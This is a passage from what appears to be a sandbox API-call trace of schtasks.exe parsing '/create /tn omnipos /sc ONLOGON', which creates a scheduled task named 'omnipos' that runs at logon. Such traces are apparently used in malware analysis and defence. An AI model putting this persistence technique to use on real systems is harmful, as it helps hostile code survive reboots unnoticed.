(HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365c90 [0090.479] GetProcessHeap () returned 0x350000 [0090.479] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365cc0 [0090.479] GetProcessHeap () returned 0x350000 [0090.480] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365cf0 [0090.480] GetProcessHeap () returned 0x350000 [0090.480] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365d20 [0090.480] GetProcessHeap () returned 0x350000 [0090.480] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bb70 [0090.480] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.480] GetProcessHeap () returned 0x350000 [0090.480] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x208) returned 0x36bd10 [0090.480] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0090.480] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0090.484] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0090.484] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0090.486] GetProcessHeap () returned 0x350000 [0090.486] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x74e) returned 0x36c2e0 [0090.486] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0090.486] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x36c2e0 | out: lpData=0x36c2e0) returned 1 [0090.486] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0090.486] VerQueryValueW (in: pBlock=0x36c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1df768, puLen=0x1df7d0 | out: lplpBuffer=0x1df768*=0x36c67c, puLen=0x1df7d0) returned 1 [0090.489] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.489] _vsnwprintf (in: _Buffer=0x36bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1df748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0090.489] VerQueryValueW (in: pBlock=0x36c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1df7d8, puLen=0x1df7c8 | out: lplpBuffer=0x1df7d8*=0x36c4a8, puLen=0x1df7c8) returned 1 [0090.489] lstrlenW (lpString="schtasks.exe") returned 12 [0090.489] lstrlenW (lpString="schtasks.exe") returned 12 [0090.489] lstrlenW (lpString=".EXE") returned 4 [0090.489] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0090.490] lstrlenW (lpString="schtasks.exe") returned 12 [0090.490] lstrlenW (lpString=".EXE") returned 4 [0090.490] _memicmp (_Buf1=0x36bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.490] lstrlenW (lpString="schtasks") returned 8 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365e10 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cbf0 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cc20 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cc50 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bb90 [0090.491] _memicmp (_Buf1=0x36bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.491] GetProcessHeap () returned 0x350000 [0090.491] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa0) returned 0x36c110 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cc80 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36ccb0 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cce0 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36bbb0 [0090.492] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x200) returned 0x36d3c0 [0090.492] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0090.492] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x30) returned 0x367b80 [0090.492] _vsnwprintf (in: _Buffer=0x36c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1df748 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0090.492] GetProcessHeap () returned 0x350000 [0090.492] GetProcessHeap () returned 0x350000 [0090.493] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2e0) returned 1 [0090.493] GetProcessHeap () returned 0x350000 [0090.493] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c2e0) returned 0x74e [0090.493] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2e0 | out: hHeap=0x350000) returned 1 [0090.493] SetLastError (dwErrCode=0x0) [0090.493] GetThreadLocale () returned 0x409 [0090.493] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="?") returned 1 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="create") returned 6 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="delete") returned 6 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="query") returned 5 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="change") returned 6 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="run") returned 3 [0090.494] GetThreadLocale () returned 0x409 [0090.494] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.494] lstrlenW (lpString="end") returned 3 [0090.495] GetThreadLocale () returned 0x409 [0090.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.495] lstrlenW (lpString="showsid") returned 7 [0090.495] GetThreadLocale () returned 0x409 [0090.495] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0090.495] SetLastError (dwErrCode=0x0) [0090.495] SetLastError (dwErrCode=0x0) [0090.495] lstrlenW (lpString="/create") returned 7 [0090.495] lstrlenW (lpString="-/") returned 2 [0090.495] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.495] lstrlenW (lpString="?") returned 1 [0090.495] lstrlenW (lpString="?") returned 1 [0090.495] GetProcessHeap () returned 0x350000 [0090.495] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36c1c0 [0090.495] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.495] GetProcessHeap () returned 0x350000 [0090.495] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa) returned 0x36c2e0 [0090.495] lstrlenW (lpString="create") returned 6 [0090.495] GetProcessHeap () returned 0x350000 [0090.495] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36c300 [0090.495] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.495] GetProcessHeap () returned 0x350000 [0090.495] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x14) returned 0x36c320 [0090.495] _vsnwprintf (in: _Buffer=0x36c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.495] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.496] lstrlenW (lpString="|?|") returned 3 [0090.496] lstrlenW (lpString="|create|") returned 8 [0090.496] SetLastError (dwErrCode=0x490) [0090.496] lstrlenW (lpString="create") returned 6 [0090.496] lstrlenW (lpString="create") returned 6 [0090.496] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.496] GetProcessHeap () returned 0x350000 [0090.496] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c2e0) returned 1 [0090.496] GetProcessHeap () returned 0x350000 [0090.496] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36c2e0, Size=0x14) returned 0x36c340 [0090.496] lstrlenW (lpString="create") returned 6 [0090.496] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.496] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.496] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.496] lstrlenW (lpString="|create|") returned 8 [0090.496] lstrlenW (lpString="|create|") returned 8 [0090.496] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0090.496] SetLastError (dwErrCode=0x0) [0090.496] SetLastError (dwErrCode=0x0) [0090.496] SetLastError (dwErrCode=0x0) [0090.496] lstrlenW (lpString="/tn") returned 3 [0090.496] lstrlenW (lpString="-/") returned 2 [0090.496] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.496] lstrlenW (lpString="?") returned 1 [0090.496] lstrlenW (lpString="?") returned 1 [0090.497] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.497] lstrlenW (lpString="tn") returned 2 [0090.497] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.497] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.497] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.497] lstrlenW (lpString="|?|") returned 3 [0090.497] lstrlenW (lpString="|tn|") returned 4 [0090.497] SetLastError (dwErrCode=0x490) [0090.497] lstrlenW (lpString="create") returned 6 [0090.497] lstrlenW (lpString="create") returned 6 [0090.497] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.497] lstrlenW (lpString="tn") returned 2 [0090.497] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.497] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.497] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.497] lstrlenW (lpString="|create|") returned 8 [0090.497] lstrlenW (lpString="|tn|") returned 4 [0090.497] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0090.497] SetLastError (dwErrCode=0x490) [0090.497] lstrlenW (lpString="delete") returned 6 [0090.497] lstrlenW (lpString="delete") returned 6 [0090.497] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.497] lstrlenW (lpString="tn") returned 2 [0090.497] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.498] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|delete|") returned 8 [0090.498] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.498] lstrlenW (lpString="|delete|") returned 8 [0090.498] lstrlenW (lpString="|tn|") returned 4 [0090.498] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0090.498] SetLastError (dwErrCode=0x490) [0090.498] lstrlenW (lpString="query") returned 5 [0090.498] lstrlenW (lpString="query") returned 5 [0090.498] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.498] lstrlenW (lpString="tn") returned 2 [0090.498] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.498] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|query|") returned 7 [0090.498] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.498] lstrlenW (lpString="|query|") returned 7 [0090.498] lstrlenW (lpString="|tn|") returned 4 [0090.498] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0090.498] SetLastError (dwErrCode=0x490) [0090.498] lstrlenW (lpString="change") returned 6 [0090.498] lstrlenW (lpString="change") returned 6 [0090.498] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.498] lstrlenW (lpString="tn") returned 2 [0090.498] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.498] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|change|") returned 8 [0090.499] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.499] lstrlenW (lpString="|change|") returned 8 [0090.499] lstrlenW (lpString="|tn|") returned 4 [0090.499] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0090.499] SetLastError (dwErrCode=0x490) [0090.499] lstrlenW (lpString="run") returned 3 [0090.499] lstrlenW (lpString="run") returned 3 [0090.499] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.499] lstrlenW (lpString="tn") returned 2 [0090.499] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.499] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|run|") returned 5 [0090.499] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.499] lstrlenW (lpString="|run|") returned 5 [0090.499] lstrlenW (lpString="|tn|") returned 4 [0090.499] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0090.499] SetLastError (dwErrCode=0x490) [0090.499] lstrlenW (lpString="end") returned 3 [0090.499] lstrlenW (lpString="end") returned 3 [0090.499] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.499] lstrlenW (lpString="tn") returned 2 [0090.499] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.499] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|end|") returned 5 [0090.499] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.500] lstrlenW (lpString="|end|") returned 5 [0090.500] lstrlenW (lpString="|tn|") returned 4 [0090.500] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0090.500] SetLastError (dwErrCode=0x490) [0090.500] lstrlenW (lpString="showsid") returned 7 [0090.500] lstrlenW (lpString="showsid") returned 7 [0090.500] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.500] GetProcessHeap () returned 0x350000 [0090.500] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c340) returned 1 [0090.500] GetProcessHeap () returned 0x350000 [0090.500] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36c340, Size=0x16) returned 0x36c340 [0090.500] lstrlenW (lpString="tn") returned 2 [0090.500] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.500] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|showsid|") returned 9 [0090.500] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|tn|") returned 4 [0090.500] lstrlenW (lpString="|showsid|") returned 9 [0090.500] lstrlenW (lpString="|tn|") returned 4 [0090.500] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0090.500] SetLastError (dwErrCode=0x490) [0090.500] SetLastError (dwErrCode=0x490) [0090.501] SetLastError (dwErrCode=0x0) [0090.501] lstrlenW (lpString="/tn") returned 3 [0090.501] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0090.501] SetLastError (dwErrCode=0x490) [0090.501] SetLastError (dwErrCode=0x0) [0090.501] lstrlenW (lpString="/tn") returned 3 [0090.501] GetProcessHeap () returned 0x350000 [0090.501] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36c2e0 [0090.501] GetProcessHeap () returned 0x350000 [0090.501] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd10 [0090.501] SetLastError (dwErrCode=0x0) [0090.501] SetLastError (dwErrCode=0x0) [0090.501] lstrlenW (lpString="omnipos") returned 7 [0090.501] lstrlenW (lpString="-/") returned 2 [0090.501] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0090.501] SetLastError (dwErrCode=0x490) [0090.501] SetLastError (dwErrCode=0x490) [0090.501] SetLastError (dwErrCode=0x0) [0090.501] lstrlenW (lpString="omnipos") returned 7 [0090.501] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0090.501] SetLastError (dwErrCode=0x490) [0090.501] SetLastError (dwErrCode=0x0) [0090.501] lstrlenW (lpString="omnipos") returned 7 [0090.501] GetProcessHeap () returned 0x350000 [0090.501] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36c370 [0090.501] GetProcessHeap () returned 0x350000 [0090.501] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd40 [0090.501] SetLastError (dwErrCode=0x0) [0090.502] SetLastError (dwErrCode=0x0) [0090.502] lstrlenW (lpString="/sc") returned 3 [0090.502] lstrlenW (lpString="-/") returned 2 [0090.502] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.502] lstrlenW (lpString="?") returned 1 [0090.502] lstrlenW (lpString="?") returned 1 [0090.502] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.502] lstrlenW (lpString="sc") returned 2 [0090.502] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.502] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|?|") returned 3 [0090.502] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.502] lstrlenW (lpString="|?|") returned 3 [0090.502] lstrlenW (lpString="|sc|") returned 4 [0090.502] SetLastError (dwErrCode=0x490) [0090.502] lstrlenW (lpString="create") returned 6 [0090.502] lstrlenW (lpString="create") returned 6 [0090.502] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.502] lstrlenW (lpString="sc") returned 2 [0090.502] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.502] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|create|") returned 8 [0090.502] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.502] lstrlenW (lpString="|create|") returned 8 [0090.503] lstrlenW (lpString="|sc|") returned 4 [0090.503] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0090.503] SetLastError (dwErrCode=0x490) [0090.503] lstrlenW (lpString="delete") returned 6 [0090.503] lstrlenW (lpString="delete") returned 6 [0090.503] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.503] lstrlenW (lpString="sc") returned 2 [0090.503] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.503] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|delete|") returned 8 [0090.503] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.503] lstrlenW (lpString="|delete|") returned 8 [0090.503] lstrlenW (lpString="|sc|") returned 4 [0090.503] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0090.503] SetLastError (dwErrCode=0x490) [0090.503] lstrlenW (lpString="query") returned 5 [0090.503] lstrlenW (lpString="query") returned 5 [0090.503] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.503] lstrlenW (lpString="sc") returned 2 [0090.503] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.505] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|query|") returned 7 [0090.505] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.505] lstrlenW (lpString="|query|") returned 7 [0090.505] lstrlenW (lpString="|sc|") returned 4 [0090.505] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0090.505] SetLastError (dwErrCode=0x490) [0090.505] lstrlenW (lpString="change") returned 6 [0090.505] lstrlenW (lpString="change") returned 6 [0090.505] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.505] lstrlenW (lpString="sc") returned 2 [0090.505] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.505] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|change|") returned 8 [0090.505] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.505] lstrlenW (lpString="|change|") returned 8 [0090.505] lstrlenW (lpString="|sc|") returned 4 [0090.505] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0090.505] SetLastError (dwErrCode=0x490) [0090.505] lstrlenW (lpString="run") returned 3 [0090.505] lstrlenW (lpString="run") returned 3 [0090.505] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.505] lstrlenW (lpString="sc") returned 2 [0090.505] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.505] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|run|") returned 5 [0090.506] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.506] lstrlenW (lpString="|run|") returned 5 [0090.506] lstrlenW (lpString="|sc|") returned 4 [0090.506] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0090.506] SetLastError (dwErrCode=0x490) [0090.506] lstrlenW (lpString="end") returned 3 [0090.506] lstrlenW (lpString="end") returned 3 [0090.506] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.506] lstrlenW (lpString="sc") returned 2 [0090.506] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.506] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|end|") returned 5 [0090.506] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.506] lstrlenW (lpString="|end|") returned 5 [0090.506] lstrlenW (lpString="|sc|") returned 4 [0090.506] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0090.506] SetLastError (dwErrCode=0x490) [0090.506] lstrlenW (lpString="showsid") returned 7 [0090.506] lstrlenW (lpString="showsid") returned 7 [0090.506] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.506] lstrlenW (lpString="sc") returned 2 [0090.506] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.506] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|showsid|") returned 9 [0090.506] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df758 | out: _Buffer="|sc|") returned 4 [0090.506] lstrlenW (lpString="|showsid|") returned 9 [0090.507] lstrlenW (lpString="|sc|") returned 4 [0090.507] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0090.507] SetLastError (dwErrCode=0x490) [0090.507] SetLastError (dwErrCode=0x490) [0090.507] SetLastError (dwErrCode=0x0) [0090.507] lstrlenW (lpString="/sc") returned 3 [0090.507] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0090.507] SetLastError (dwErrCode=0x490) [0090.507] SetLastError (dwErrCode=0x0) [0090.507] lstrlenW (lpString="/sc") returned 3 [0090.507] GetProcessHeap () returned 0x350000 [0090.507] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36c390 [0090.507] GetProcessHeap () returned 0x350000 [0090.507] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36cd70 [0090.507] SetLastError (dwErrCode=0x0) [0090.507] SetLastError (dwErrCode=0x0) [0090.507] lstrlenW (lpString="ONLOGON") returned 7 [0090.507] lstrlenW (lpString="-/") returned 2 [0090.507] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0090.507] SetLastError (dwErrCode=0x490) [0090.507] SetLastError (dwErrCode=0x490) [0090.507] SetLastError (dwErrCode=0x0) [0090.507] lstrlenW (lpString="ONLOGON") returned 7 [0090.507] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0090.507] SetLastError (dwErrCode=0x490) [0090.508] SetLastError (dwErrCode=0x0) [0090.508] lstrlenW (lpString="ONLOGON") returned 7 [0090.508] GetProcessHeap () 